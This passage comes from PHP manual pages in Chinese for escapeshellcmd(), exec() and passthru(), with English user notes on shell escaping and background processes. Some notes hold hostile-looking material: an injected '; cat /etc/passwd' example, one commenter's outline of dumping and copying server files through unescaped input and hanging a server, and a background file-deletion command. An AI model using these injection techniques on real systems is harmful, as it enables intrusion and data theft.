info at infosoporte dot com 20-Jan-2009 04:12
If escapeshellarg() function removes your accents (like á, a with an 'accute') from the given string, ensure your LC_ALL variable is correct. If using it via web, you need to restart Apache or the corresponding web server after setting LC_ALL with a export LC_ALL=es_ES.utf8 (for example) from your shell.
Audun 30-Jul-2008 05:02
The reason why % are replaced with space on windows is that it is impossible in cmd.exe to escape or quote them so that environment variables are not expanded.  If for instance %path% is in your argument it will always be expanded, so the only safe thing to do is to replace % with something else.

Alternatively, you could wipe the environment before making the call to exec(), but that has its side-effects.
egorinsk at gmail dot com 28-Apr-2007 04:09
Under Windows, this function puts string into double-quotes, not single, and replaces %(percent sign) with a space, that's why it's impossible to pass a filename with percents in its name through this function.
22-May-2006 05:25
Most of the comments above have misunderstood this function. It does not need to escape characters such as '$' and '`' - it uses the fact that the shell does not treat any characters as special inside single quotes (except the single quote character itself). The correct way to use this function is to call it on a variable that is intended to be passed to a command-line program as a single argument to that program - you do not call it on command-line as a whole.

The person above who comments that this function behaves badly if given the empty string as input is correct - this is a bug. It should indeed return two single quotes in this case.
vosechu at roman-fleuve dot com 25-Mar-2004 05:05
If escapeshellarg() returned something on a null input it would probably break more programs than it helps. Even if it's two "'s or two ''s, this function wouldn't work the way it's supposed to (that is, returning nothing).

However, most people do not put "" into their commands but I can see where it might be useful at the same time.
Perhaps an option in the command that would return the type of null we want. I might want the null character to be returned, someone else might want '', and someone else might want nothing at all.


shell 元字符转义

  • ? escapeshellarg
  • exec ?
  • PHP Manual
  • 程序执行函数
  • shell 元字符转义

escapeshellcmd

(PHP 4, PHP 5, PHP 7, PHP 8)

escapeshellcmd — shell 元字符转义

说明

escapeshellcmd(string $command): string

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数，或者 执行操作符 之前进行转义。

反斜线（\）会在以下字符之前插入：&#;`|*?~<>^()[]{}$\、\x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。在 Windows 平台上，所有这些字符以及 % 和 ! 字符前面都有一个插入符号（^）。

参数

command

要转义的命令。

返回值

转义后的字符串。

示例

Example #1 escapeshellcmd() example

<?php
// 我们故意允许任意数量的参数
$command = './configure '.$_POST['configure_options'];

$escaped_command = escapeshellcmd($command);

system($escaped_command);
?>

Warning

escapeshellcmd() 应被用在完整的命令字符串上。 即使如此，攻击者还是可以传入任意数量的参数。 请使用 escapeshellarg() 函数 对单个参数进行转义。

Warning

escapeshellcmd() 不会对空格转义，这在 Windows 上对这样的路径（比如C:\Program Files\ProgramName\program.exe）可能会有出现问题。可以使用如下代码暂时解决：

<?php
$cmd = preg_replace('`(?<!^) `', '^ ', escapeshellcmd($cmd));

参见

  • escapeshellarg() - 把字符串转义为可以在 shell 命令里使用的参数
  • exec() - 执行一个外部程序
  • popen() - 打开进程文件指针
  • system() - 执行外部程序，并且显示输出
  • 执行运算符

User Contributed Notes

phpcomment at reversiblemaps dot ath dot cx 17-Apr-2012 11:31
escaping strings for a shell is tricky.

  If your target system is windows give up now.  windows isn't even self consisitent in how to escape stuff.

  if unix convert everything to octal - although this is hardest to implement it's the easiest to implement correctly - there are no special cases..
.
nicholas at nicholaswilson dot me dot uk 29-Jan-2011 07:41
There is a quirk to be aware of regarding use of echo. If you have a command which you want to execute which takes input from STDIN, you would normally do:

<?php $output = shell_exec("echo $input | /the/command"); ?>

Unfortunately, this is a *bad idea* and will make your script unportable, providing a very hard-to-trace bug on some systems. Depending on how the server is set up, /bin/sh will either call /bin/bash or /bin/dash, and these have very different versions of echo. Never use echo; use printf instead which is consistent. How do you escape for printf? Do this:

<?php
$input = 'string to be passed *exactly* to the command';
//Escape only what is needed to get by PHP's parser; we want
//the string data PHP is holding in its buffer to be passed
//exactly to stdin buffer of the command.
$cmd = str_replace(array('\\', '%'), array('\\\\', '%%'), $input);
$cmd = escapeshellarg($cmd);

$output = shell_exec("printf $cmd | /path/to/command");
?>

For the paranoid, this torture test verifies that both shell escaping and printf's own escaping are handled correctly. Use with confidence!

<?php

$test = 'stuff bash interprets, space: # & ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF. \' " %'.PHP_EOL.
        'stuff bash interprets, no space: #&;`|*?~<>^()[]{}$\\x0A\xFF.\'\"%'.PHP_EOL.
        'stuff bash interprets, with leading backslash: \# \& \; \` \| \* \? \~ \< \> \^ \( \) \[ \] \{ \} \$ \\\ \\\x0A \\\xFF. \\\' \" \%'.PHP_EOL.
        'printf codes: % \ (used to form %.0#-*+d, or \\ \a \b \f \n \r \t \v \" \? \062 \0062 \x032 \u0032 and \U00000032)';

echo "These are the strings we are testing with:".PHP_EOL.$test.PHP_EOL;
$cmd = $test;
$cmd = str_replace(array('\\', '%'), array('\\\\', '%%'), $test);
$cmd = escapeshellarg($cmd);

echo PHP_EOL."This is the output using the escaping mechanism given:".PHP_EOL;
echo `printf $cmd | cat`.PHP_EOL;

echo PHP_EOL."They should match exactly".PHP_EOL;
?>
carlos at wfmh dot org dot pl dot REMOVE dot COM 24-Jun-2010 04:42
Mind it does not escape ! (exclamation mark). So if you want to i.e. printf() commands for later use in shell (i.e. by pasting to the console) you need to escape all exclamation marks or shell will try to process ! as history reference. This approach shall suffice:

<?php $scaped = str_replace('!', '\!', escapeshellarg( $str ) ); ?>
Leon 11-Feb-2007 04:31
This function is great -- except when you need to legitimately use an escaped character as part of your command.  The code below leaves the parts of the command that are enclosed within single quotes alone, but escapes the rest eg:

"echo Never use the '<blink>' tag ; cat /etc/passwd"
becomes:
"echo Never use the '<blink>' tag \; cat /etc/passwd"
and not:
"echo Never use the '\<blink\>' tag \; cat /etc/passwd"

i.e, we really want the ';' escaped, but not the HTML tag.  I really needed the code below in order to run the external ImageMagick's 'convert' command properly and safely...

<?php

// Escape whole string
$cmdQ = escapeshellcmd($cmd);

 // Build array of quoted parts, and the same escaped
preg_match_all('/\'[^\']+\'/', $cmd, $matches);
$matches = current($matches);
$quoted = array();
foreach( $matches as $match )
    $quoted[escapeshellcmd($match)] = $match;

// Replace sections that were single quoted with original content
foreach( $quoted as $search => $replace )
    $cmdQ = str_replace( $search, $replace, $cmdQ );

return $cmdQ;

?>
abennett at clarku dot edu 05-Jul-2006 11:59
I've got a php script that needs to pass a username and password via exec to a perl script.  The problem is valid password characters were getting escaped...

Here's a little perl function I wrote to fix it.

sub unescape_string {
      my $string = shift;
      # all these interpolated regex's are slow, so if there's no
      # backslash in the string don't bother with it
      # index() is faster then a regex
      if ( ! index($string,'\\\\') ) {
         return $string;
      }
      my @characters = ('#', '&', ';', '`', '|', '*', '?', '~', '<', '>', '^', '(', ')',
                        '[', ']', '{', '}', '$', '\\', ',', ' ', '\x0A', '\xFF' );
      my $character;
      foreach $character (@characters) {
         $character = quotemeta($character);
         my $pattern = "\\\\(" . $character . ")";
         $string =~ s/$pattern/$1/g;
      }
      return $string;
}

Hope this is useful.
ceejay at trashfactory dot de 15-Mar-2006 04:43
Well guys, i find it very hard that escapeshellarg and escapeshellcmd are forcely run when passing a command to exec, system or popen, when safe_mode is turned on.

Right now, i did not find any working solution to pass commands like this:
cmd -arg1 -arg2 "<BLA varname=\"varvalue\" varname1=\"varvalue1\" />"

it is just the case, that the parameter for arg2 which is a string that looks like an HTML-Tag with various attributes set, all attributes of the string in arg2 gets splitted by the whitespaces within. this wont happen with safe_mode turned off, so it must be one of the escapefunctions, that breaks functionality.

In order to circumvent this, i have made a temporary solution, which dynamically creates a skriptfile (by fopen), which just contains the whole command with arguments, and then execute that skriptfile. i dont like that solution, but in the other hand, safe_mode cannot be easily turned off on that server.
docey 12-Apr-2005 05:56
the main reason for quoting a command is that it not multiple  command can be joined. i don't know for sure if this is the right syntax but remeber that this can do some nice security breaks. here's one way of how to know exactly what your trying to break into for.

normal any user on linux can view almost any directory so:
ls / -als will print a complete list of any file in the linux filesystem including its size, security and hidden files as well.

now the output would only become known to php and never will the user be able to view this data unless the php script would actual start to print it out. like passtru does!! but a good php coder knows never to use passtru unless not otherwise possible.

but what would happen if you can direct the output from ls also from that same commandline to a file in the webroot most webserver still default their base-webroot to /var/www/ so storing it there in text file to download it later and you can simply take coffee while checking wich files can be read by php security mode and then simply use the cp command to copy those to the webroot and download them to your own hard-disk. without a list of the files you can only guess where to copy from! and thats harder then guessing the root password.

so if the first command was quoted it is not possible to attach another command because of a syntax error. think of all the thinks you can do once you got a complete list of every file on the filesystem. including mounted once via NFS and others. security starts at keeping the door hidden.

also another nice command for hanging the webserver can be "php <?php while(true){ exec('ls / -als'); }; ?>" this keeps creating a file list on the entire filesystem wich not only keeps the hard-disk(s) bussy but also memory and cpu   wich must store the returned list. so keeping in mind not all command accepted from users can be used blind.

actualy never accept any command from external sources only proven built-in predefined commands should be executed.
trisk at earthling dot net 31-Jan-2005 10:19
This function does not work as shown in the php.net examples.

If you put your encoded filename into double-quotes as they suggest, then it will break on certain characters in filenames, such as ampersand.

For example if you have a filename called "foo & bar.jpg" and you use this function on it, your resulting filename when double-quoted will produce this and not be found:

"foo \& bar.jpg"

If you need to have a single argument where spaces are included then do not use this function with added double-quotes, use escapeshellarg() which encloses the whole string in single quotes.

I do not understand which purpose this particular function is intended for.  I can't see any use for it, unless you pass it through another function and convert spaces " " to "\ ", which would allow you to use the string directly on the command line.


执行一个外部程序

  • ? escapeshellcmd
  • passthru ?
  • PHP Manual
  • 程序执行函数
  • 执行一个外部程序

exec

(PHP 4, PHP 5, PHP 7, PHP 8)

exec — 执行一个外部程序

说明

exec(string $command, array &$output = null, int &$result_code = null): string|false

exec() 执行 command 参数所指定的命令。

参数

command

要执行的命令。

output

如果提供了 output 参数， 那么会用命令执行的输出填充此数组， 每行输出填充数组中的一个元素。 数组中的数据不包含行尾的空白字符，例如 \n 字符。 请注意，如果数组中已经包含了部分元素，exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加， 请在传入 exec() 函数之前 对数组使用 unset() 函数进行重置。

result_code

如果同时提供 output 和 result_code 参数，命令执行后的返回状态会被写入到此变量。

返回值

命令执行结果的最后一行内容。 如果你需要获取未经处理的全部输出数据， 请使用 passthru() 函数。

失败时返回 false。

如果想要获取命令的输出内容， 请确保使用 output 参数。

错误／异常

如果 exec() 无法执行 command，会发出 E_WARNING。

如果 command 为空或者包含 null 字节，则抛出 ValueError。

更新日志

版本 | 说明
8.0.0 | 如果 command 为空或者包含 null 字节，exec() 现在将抛出 ValueError。之前会发出 E_WARNING 并返回 false。

示例

Example #1 exec() 示例

<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// （在可以执行 "whoami" 命令的系统上）
$output=null;
$retval=null;
exec('whoami', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

以上示例的输出类似于：

Returned with status 0 and output:
Array
(
    [0] => cmb
)

注释

Warning

当传入用户提供的数据到本函数时，应使用 escapeshellarg() 或 escapeshellcmd() 来防止用户欺骗系统执行任意命令。

Note:

如何程序使用此函数启动，为了能保持在后台运行，此程序必须将输出重定向到文件或其它输出流。否则会导致 PHP 挂起，直至程序执行结束。

Note:

在 Windows 下，exec() 函数会先启动 cmd.exe 来执行指定的命令。如果你希望启动一个额外的应用而不用先启动 cmd.exe 可使用 proc_open() 函数加上 bypass_shell 参数。

参见

  • system() - 执行外部程序，并且显示输出
  • passthru() - 执行外部程序并且显示原始输出
  • escapeshellcmd() - shell 元字符转义
  • pcntl_exec() - 在当前进程空间执行指定程序
  • 执行运算符

User Contributed Notes

mamedul.github.io 06-Nov-2023 11:15
Cross function solutions for execute command using PHP-

function php_exec( $cmd ){

    if( function_exists('exec') ){
        $output = array();
        $return_var = 0;
        exec($cmd, $output, $return_var);
        return implode( " ", array_values($output) );
    }else if( function_exists('shell_exec') ){
        return shell_exec($cmd);
    }else if( function_exists('system') ){
        $return_var = 0;
        return system($cmd, $return_var);
    }else if( function_exists('passthru') ){
        $return_var = 0;
        ob_start();
        passthru($cmd, $return_var);
        $output = ob_get_contents();
        ob_end_clean(); //Use this instead of ob_flush()
        return $output;
    }else  if( function_exists('proc_open') ){
        $proc=proc_open($cmd,
            array(
                array("pipe","r"),
                array("pipe","w"),
                array("pipe","w")
            ),
            $pipes);
        return stream_get_contents($pipes[1]);
    }else{
        return "@PHP_COMMAND_NOT_SUPPORT";
    }

}
tsmtgdi at gmail dot com 19-Sep-2023 02:23
Please be aware that EXEC ignore the stderr!

So something like

mkdir /impossible path

Will fail, and show nothing, you must use

mkdir /impossible 2>&1

to properly capture the error message

ELSE
if executed in CLI, will just print on the terminal, if executed on a browser is lost.

I strongly suggested those notes to be added in the main description, and not lost in a comment at the bottom.
no at mail dot com 06-Mar-2023 02:37
<this note copied from system page>
This is for WINDOWS users. I am running apache and I have been trying for hours now to capture the output of a command.

I'd tried everything that is written here and then continued searching online with no luck at all. The output of the command was never captured. All I got was an empty array.

Finally, I found a comment in a blog by a certain amazing guy that solved my problems.

Adding the string ' 2>&1' to the command name finally returned the output!! This works in exec() as well as system() in PHP since it uses stream redirection to redirect the output to the correct place!
<?php
exec("yourCommandName 2>&1", $output);
var_dump($output);
?>
php dot reg at kjpetrie dot co dot uk 24-Aug-2022 11:00
If you want to run the command in the background and also use escapeshellcmd() as recommended, ensure you do the redirection outside the brackets! These are things you do want the shell to interpret.

E.g. exec(escapeshellcmd('mycommand and arguments').' > /dev/null &');
krjdev at gmail dot com 20-Oct-2021 09:26
Note for OpenBSD users:

In the default configuration from OpenBSD, PHP runs into a chroot. So the exec() command will not work. You will get a 127 (command not found) result code. The reason is, the shell (/bin/sh) is missing in chroot, but the exec() command requires the shell.

A quick and dirty solution is to copy /bin/sh (which is statically linked) in the chroot directory:
<?php
$ cp /bin/sh /var/www/bin
?>

(I have noticed this on OpenBSD 7.0 with PHP 8.0.11.)
ivk 24-Mar-2021 01:43
result_code -1 could mean "Maximum number of file descriptors reached". Check count(get_resources('stream')) and ulimit -Sn
Hypolite Petovan 03-Apr-2020 03:48
On Unix, to execute a command $cmd in the background, the one and only allowed standard output redirection syntax is "> /path/to/file &". No other valid standard output redirection syntax will allow a command to be ran in the background.

<?php
// The following will be ran in the background
exec($cmd . " > /path/to/file &");

// All the following will NOT be ran in the background
exec($cmd . " >> /path/to/file &");
exec($cmd . " &> /path/to/file &");
exec($cmd . " &>> /path/to/file &");
exec($cmd . " 2>&1 > /path/to/file &");
exec($cmd . " 2>&1 >> /path/to/file &");
?>
Paul Sommer 14-May-2016 01:33
I tried to execute a command in background under Windows.
After struggling for hours with all these half ready examples I would like to share the syntax I found working (for windows at least). This is not tested under Linux as there are more elegant ways to spawn a process.

Based on  the function from Arno van den Brink.

<?php
function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    }
    else {
        exec($cmd . " > /dev/null &");
    }
}
?>

This works perfectly with e.g.
<?php
execInBackground('del c:\tmp\*.*')
?>

but the following does NOT work:
<?php
execInBackground('\"c:\path with spaces\my program.exe\"')
?>

Why?
When windows sees quotation marks (\") it thinks this is the window title, not the command.
So, when your command needs quotation marks you HAVE TO provide a window name first, like
execInBackground("\"title\"" "\"c:\path with spaces\my program.exe\")

Quotation marks are mandatiory for window title. Otherwise windows thinks this is the program name.

Weired, but "Hey! it's Windows!" :)
Simon 24-Nov-2014 05:07
Can't get the output from your exec'd command to appear in the $output array?
Is it echo'ing all over your shell instead?

Append "2>&1" to the end of your command, for example:

exec("xmllint --noout ~/desktop/test.xml 2>&1", $retArr, $retVal);

Will fill the array $retArr with the expected output; one line per array key.
juan at laluca dot com 13-Jan-2011 07:36
I was trying to get an acceslist from a remote computer by executing cacls and parse it in php, all in a  Windows environment with Apache. First i discovered psexec.exe from Windows SysInternals.

But with the following line, I didn′t get anything, it get hunged, although from the command line it worked nice:

<?php exec ('c:\\WINDOWS\\system32\\psexec.exe \\192.168.1.224 -u myuser -p mypassword -accepteula cacls c:\\documents\\RRHH && exit', $arrACL ); ?>

To make it work I just followed the next steps:
- execute services.msc and find the apache service (In my case wampapache)
- Right button>Log On tab and change from Local System Account to a user created account, enter the username and the password and restart the service.

(I added this user to the administrators group to avoid permissions problems but its not recommended...)

It worked! And it may work with IIS too so try it if you have the same poblem....

Hope this helps someone, and sorry for my english
alvaro at demogracia dot com 27-Dec-2010 05:27
In Windows, exec() issues an internal call to "cmd /c your_command". This implies that your command must follow the rules imposed by cmd.exe which includes an extra set of quotes around the full command:

- http://ss64.com/nt/cmd.html

Current PHP versions take this into account and add the quotes automatically, but old versions didn't.

Apparently, the change was made in PHP/5.3.0 yet not backported to 5.2.x because it's a backwards incompatible change. To sum up:

- In PHP/5.2 and older you have to surround the full command plus arguments in double quotes
- In PHP/5.3 and greater you don't have to (if you do, your script will break)

If you are interested in the internals, this is the source code:

sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);

It can be found at http://svn.php.net/viewvc/ (please find php/php-src/trunk/TSRM/tsrm_win32.c, the comment system doesn't allow the direct link).
Martin Lakes 21-Dec-2010 08:20
Took quite some time to figure out the line I am going to post next. If you want to execute a command in the background without having the script waiting for the result, you can do the following:

<?php
passthru("/usr/bin/php /path/to/script.php ".$argv_parameter." >> /path/to/log_file.log 2>&1 &");
?>

There are a few thing that are important here.

First of all: put the full path to the php binary, because this command will run under the apache user, and you will probably not have command alias like php set in that user.

Seccond: Note 2 things at the end of the command string: the '2>&1' and the '&'. The '2>&1' is for redirecting errors to the standard IO. And the most important thing is the '&' at the end of the command string, which tells the terminal not to wait for a response.

Third: Make sure you have 777 permissions on the 'log_file.log' file

Enojy!
elwiz at 3e dot pl 06-Sep-2010 06:10
On Windows-Apache-PHP servers there is a problem with using the exec command more than once at the same time. If a script (with the exec command) is loaded more than once by the same user at the same time the server will freeze.
In my case the PHP script using the exec command was used as the source of an image tag. More than one image in one HTML made the server stop.
The problem is described here (http://bugs.php.net/bug.php?id=44942) toghether with a solution - stop the session before the exec command and start it again after it.

<?php

session_write_close();
exec($cmd);
session_start();

?>
bahri at bahri dot info 20-Mar-2009 01:15
[NOTE BY danbrown AT php DOT net: The following is a Linux script that the contributor of this note suggests be placed in a file named 'pstools.inc.php' to execute a process, check if a process exists, and kill a process by ID.  Inspired by the Windows version at http://php.net/exec#59428 ]

<?php
  function PsExecute($command, $timeout = 60, $sleep = 2) {
        // First, execute the process, get the process ID

        $pid = PsExec($command);

        if( $pid === false )
            return false;

        $cur = 0;
        // Second, loop for $timeout seconds checking if process is running
        while( $cur < $timeout ) {
            sleep($sleep);
            $cur += $sleep;
            // If process is no longer running, return true;

           echo "\n ---- $cur ------ \n";

            if( !PsExists($pid) )
                return true; // Process must have exited, success!
        }

        // If process is still running after timeout, kill the process and return false
        PsKill($pid);
        return false;
    }

    function PsExec($commandJob) {

        $command = $commandJob.' > /dev/null 2>&1 & echo $!';
        exec($command ,$op);
        $pid = (int)$op[0];

        if($pid!="") return $pid;

        return false;
    }

    function PsExists($pid) {

        exec("ps ax | grep $pid 2>&1", $output);

        while( list(,$row) = each($output) ) {

                $row_array = explode(" ", $row);
                $check_pid = $row_array[0];

                if($pid == $check_pid) {
                        return true;
                }

        }

        return false;
    }

    function PsKill($pid) {
        exec("kill -9 $pid", $output);
    }
?>
dell_petter at hotmail dot com 04-Feb-2009 02:52
(This is for linux users only).

We know now how we can fork a process in linux with the & operator.
And by using command: nohup MY_COMMAND > /dev/null 2>&1 & echo $! we can return the pid of the process.

This small class is made so you can keep in track of your created processes ( meaning start/stop/status ).

You may use it to start a process or join an exisiting PID process.

<?php
    // You may use status(), start(), and stop(). notice that start() method gets called automatically one time.
    $process = new Process('ls -al');

    // or if you got the pid, however here only the status() metod will work.
    $process = new Process();
    $process.setPid(my_pid);
?>

<?php
    // Then you can start/stop/ check status of the job.
    $process.stop();
    $process.start();
    if ($process.status()){
        echo "The process is currently running";
    }else{
        echo "The process is not running.";
    }
?>

<?php
/* An easy way to keep in track of external processes.
 * Ever wanted to execute a process in php, but you still wanted to have somewhat controll of the process ? Well.. This is a way of doing it.
 * @compability: Linux only. (Windows does not work).
 * @author: Peec
 */
class Process{
    private $pid;
    private $command;

    public function __construct($cl=false){
        if ($cl != false){
            $this->command = $cl;
            $this->runCom();
        }
    }
    private function runCom(){
        $command = 'nohup '.$this->command.' > /dev/null 2>&1 & echo $!';
        exec($command ,$op);
        $this->pid = (int)$op[0];
    }

    public function setPid($pid){
        $this->pid = $pid;
    }

    public function getPid(){
        return $this->pid;
    }

    public function status(){
        $command = 'ps -p '.$this->pid;
        exec($command,$op);
        if (!isset($op[1]))return false;
        else return true;
    }

    public function start(){
        if ($this->command != '')$this->runCom();
        else return true;
    }

    public function stop(){
        $command = 'kill '.$this->pid;
        exec($command);
        if ($this->status() == false)return true;
        else return false;
    }
}
?>
Arno van den Brink 13-Oct-2008 08:04
This will execute $cmd in the background (no cmd window) without PHP waiting for it to finish, on both Windows and Unix.

<?php
function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    }
    else {
        exec($cmd . " > /dev/null &");
    }
}
?>
dr_jones153 at hotmail dot com 23-Jan-2008 07:04
If SAFE_MODE is on, and you are trying to run a script in the background by appending "> /dev/null 2> /dev/null & echo $!" to the command line, the browser will hang until the script is done.

My solution:

Create a shell script (ex. runscript.sh) which contains the execution line for the script you are trying to run in the background.
The runscript.sh is run by an exec() call without the redirect string, which is now placed in the runscript.sh.

runscript.sh will return almost immediately because output of the original script is redirected, and so will not hang your browser and the script runs fine in the background.
Farhad Malekpour 26-Jul-2007 04:24
If you're trying to use exec in a script that uses signal SIGCHLD, (i.e. pcntl_signal(SIGCHLD,'sigHandler');) it will return -1 as the exit code of the command (although output is correct!). To resolve this remove the signal handler and add it again after exec. Code will be something like this:

...
pcntl_signal(SIGCHLD, 'sigHandler');
...
...
(more codes, functions, classes, etc)
...
...
// Now executing the command via exec
// Clear the signal
pcntl_signal(SIGCHLD, SIG_DFL);
// Execute the command
exec('mycommand',$output,$retval);
// Set the signal back to our handler
pcntl_signal(SIGCHLD, 'sigHandler');
// At this point we have correct value of $retval.

Same solution can apply to system and passthru as well.
Bob-PHP at HamsterRepublic dot com 18-Oct-2005 11:00
exec strips trailing whitespace off the output of a command. This makes it impossible to capture signifigant whitespace. For example, suppose that a program outputs columns of tab-delimited text, and the last column contains empty fields on some lines. The trailing tabs are important, but get thrown away.

If you need to preserve trialing whitespace, you must use popen() instead.
layton at layton dot tk 18-Jan-2005 03:52
This is the second time this one got me, I thought someone else might find this note useful too.

I am creating a long running exec'd process that I can access with page submissions up to 2 hours later. The problem is this, the first time I access the page everything works like it should. The second time the web browser waits and waits and never gets any messages -- the CPU time is not affected so it is apparent that something is blocked.

What is actually happening is that all of the open files are being copied to the exec'd process -- including the network connections. So the second time I try to access the web page, I am being given the old http network connection which is now being ignored.

The solution is to scan all file handles from 3 on up and close them all. Remember that handles 0, 1, and 2 are standard input, standard output, and standard error.
msheakoski @t yahoo d@t com 08-Jul-2004 08:40
I too wrestled with getting a program to run in the background in Windows while the script continues to execute.  This method unlike the other solutions allows you to start any program minimized, maximized, or with no window at all.  llbra@phpbrasil's solution does work but it sometimes produces an unwanted window on the desktop when you really want the task to run hidden.

start Notepad.exe minimized in the background:

<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("notepad.exe", 7, false);
?>

start a shell command invisible in the background:
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("cmd /C dir /S %windir%", 0, false);
?>

start MSPaint maximized and wait for you to close it before continuing the script:
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("mspaint.exe", 3, true);
?>

For more info on the Run() method go to:
http://msdn.microsoft.com/library/en-us/script56/html/wsMthRun.asp
hans at internit dot NO_SPAM dot com 02-Feb-2002 02:25
From what I've gathered asking around, there is no way to pass back a perl array into a php script using the exec function.

The suggestion is to just print out your perl array variables at the end of your script, and then grabbing each array member from the array returned by the exec function. If you will be passing multiple arrays, or if you need to keep track of array keys as well as values, then as you print each array or hash variable at the end of your perl script, you should concatenate the value with the key and array name, using an underscore, as in:

foreach (@array) print "(array name)_(member_key)_($_)" ;

Then you would simply iterate through the array returned by the exec function, and split each variable along the underscore.

Here I like to especially thank Marat for the knowledge. Hope this is useful to others in search for similar answer!


执行外部程序并且显示原始输出

  • ? exec
  • proc_close ?
  • PHP Manual
  • 程序执行函数
  • 执行外部程序并且显示原始输出

passthru

(PHP 4, PHP 5, PHP 7, PHP 8)

passthru — 执行外部程序并且显示原始输出

说明

passthru(string $command, int &$result_code = null): ?false

同 exec() 函数类似， passthru() 函数 也是用来执行外部命令（command）的。 当所执行的 Unix 命令输出二进制数据， 并且需要直接传送到浏览器的时候， 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif， 然后调用 pbmplus 程序输出 gif 文件， 就可以从 PHP 脚本中直接输出图像到浏览器。

参数

command

要执行的命令。

result_code

如果提供 result_code 参数， Unix 命令的返回状态会被记录到此参数。

返回值

成功时返回 null， 或者在失败时返回 false。

错误／异常

如果 passthru() 无法执行 command，会发出 E_WARNING。

如果 command 为空或者包含 null 字节，则抛出 ValueError。

更新日志

版本 | 说明
8.0.0 | 如果 command 为空或者包含 null 字节，passthru() 现在将抛出 ValueError。之前会发出 E_WARNING 并返回 false。

注释

Warning

当传入用户提供的数据到本函数时，应使用 escapeshellarg() 或 escapeshellcmd() 来防止用户欺骗系统执行任意命令。

Note:

如何程序使用此函数启动，为了能保持在后台运行，此程序必须将输出重定向到文件或其它输出流。否则会导致 PHP 挂起，直至程序执行结束。

参见

  • exec() - 执行一个外部程序
  • system() - 执行外部程序，并且显示输出
  • popen() - 打开进程文件指针
  • escapeshellcmd() - shell 元字符转义
  • 执行运算符

User Contributed Notes

divinity76+spam at gmail dot com 06-Oct-2022 04:32
if you have problems with passthru("docker-compose ...bash") losing interactive shell size information, try using proc_open instead, for some reason docker-compose bash knows the size of the outer terminal when i use use proc_open, but loses that information when i use passthru,

eg i replaced
<?php
passthru("docker-compose -f docker-compose.yml bash",$ret);
?>
with
<?php
$empty1=array();
$empty2=array();
$proc=proc_open("docker-compose -f docker-compose.yml bash",$empty1,$empty2 );
$ret = proc_close($proc);
?>

and suddenly docker-compose bash knew my terminal size :)
mail at dtrasbo dot dk 12-Sep-2022 09:26
To capture the output of a command in a string without using output buffer functions, use shell_exec()
tox at novasonica dot com 03-Sep-2019 10:57
I was trying to implement a system that allows running arbitrary CLI commands with parameters, but I kept running into the issues with user prompts from the command as they would let execution hang. The solution is simple: just use passthru() as it outputs everything and correctly handles user prompts out of the box.
me at yourMomsPussy dot cum 22-Nov-2016 03:46
`command` // back ticks drop you out of PHP mode into shell
exec('command', $output); // exec will allow you to capture the return of a command as reference
shell_exec('command'); // will return the output to a variable
system(); //as seen above.
myselfasunder at gmail dot com dot dfvuks 29-Nov-2010 01:00
PHP's program-execution commands fail miserably when it comes to STDERR, and the proc_open() command doesn't work all that consistently in non-blocking mode under Windows.

This command, although useful, is no different. To form a mechanism that will see/capture both STDOUT and STDERR output, pipe the command to the 'tee' command (which can be found for Windows), and wrap the whole thing in output buffering.

Dustin Oprea
Chroot 29-Jul-2008 09:48
If you have chrooted apache and php, you will also want to put /bin/sh into the chrooted environment. Otherwise, the exec() or passthru() will not function properly, and will produce error code 127, file not found.
jo at durchholz dot org 22-Nov-2007 12:17
Note to Paul Giblock: the command *is* run through the shell.
You can verify this on any Linux system with

<?php
passthru ('echo $PATH');
?>

You'll get the content of the PATH environment variable, not the string $PATH.
Paul Giblock 18-May-2007 11:30
Stuart:

The pasthru function does not execute the program through the shell.  What this mean, among other things, is that your PATH variable is never set.  Therefore, you have to use full paths on everything.

I believe system() will run your program underneith a shell.  This allow the program to run in a 'normal' environment.

-Paul
nuker at list dot ru 03-Jan-2006 05:51
I wrote function, that gets proxy server value from the Internet Explorer (from
registry). It was tested in Windows XP Pro

(Sorry for my English)

<?php
function getProxyFromIE()
{
        exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
        "\Windows\CurrentVersion\Internet Settings\" /v ProxyEnable",
        $proxyenable,$proxyenable_status);

        exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
        "\Windows\CurrentVersion\Internet Settings\" /v ProxyServer",
        $proxyserver);

        if($proxyenable_status!=0)
        return false; #Can't access the registry! Very very bad...
        else
        {
        $enabled=substr($proxyenable[4],-1,1);
        if($enabled==0)
        return false;
        else
        {
        $proxy=ereg_replace("^[ \t]{1,10}ProxyServer\tREG_SZ[ \t]{1,20}","",
        $proxyserver[4]);

        if(ereg("[\=\;]",$proxy))
        {
             $proxy=explode(";",$proxy);
             foreach($proxy as $i => $v)
             {
                   if(ereg("http",$v))
                   {
                   $proxy=str_replace("http=","",$v);
                   break;
                   }
             }
             if(@!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:".
             "[0-9]{1,5}$",$proxy))
             return false;
             else
             return $proxy;
        }
        else
        return $proxy;
        }

        }
}
?>
Note, that this function returns FALSE if proxy is disabled in Internet
Explorer. This function returns ONLY HTTP proxy server.

Usage:
<?php
$proxy=getProxyFromIE();
if(!$proxy)
echo "Can't get proxy!";
else
echo $proxy;
?>
Stuart Eve 08-Dec-2005 11:24
I dunno if anyone else might find this useful, but when I was trying to use the passthru() command on Suse9.3 I was having no success with the command:

$command = 'gdal_translate blahahahaha';

passthru($command);

It only worked once I put:

$command = '/usr/bin/local/gdal_translate blalalala';

passthru($command);
vijayramanan at rediffmail dot com 13-Oct-2005 03:09
I had an issue when i used exec

I think we were echoing information on the test.php script.
for eg: when we tried

